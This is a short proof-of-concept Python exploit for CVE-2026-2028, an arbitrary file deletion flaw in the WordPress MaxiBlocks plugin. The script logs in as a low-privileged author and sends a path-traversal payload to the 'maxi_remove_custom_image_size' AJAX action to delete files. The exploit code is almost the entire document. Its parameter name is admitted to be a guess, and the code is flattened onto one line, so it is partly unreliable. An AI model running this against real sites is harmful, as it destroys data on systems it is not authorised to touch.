CVE-2026-2028: WordPress MaxiBlocks插件任意文件删除漏洞

import requests # Configuration target_url = 'http://example.com/wp-admin/admin-ajax.php' login_url = 'http://example.com/wp-login.php' username = 'author_user' # Low privileged user password = 'password' # Initialize session session = requests.Session() # 1. Authenticate as Author (or higher) login_data = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # 2. Exploit Arbitrary File Deletion # The action 'maxi_remove_custom_image_size' is vulnerable # Assuming the plugin expects an image ID or path, we manipulate the input. # Note: Actual parameter name may vary based on plugin implementation (e.g., 'id', 'path', 'size_id') payload = { 'action': 'maxi_remove_custom_image_size', 'id': '../../../uploads/victim_image.jpg' # Path traversal or arbitrary ID reference } response = session.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent. Check if the file was deleted.") print(response.text) else: print("[-] Failed to send request.")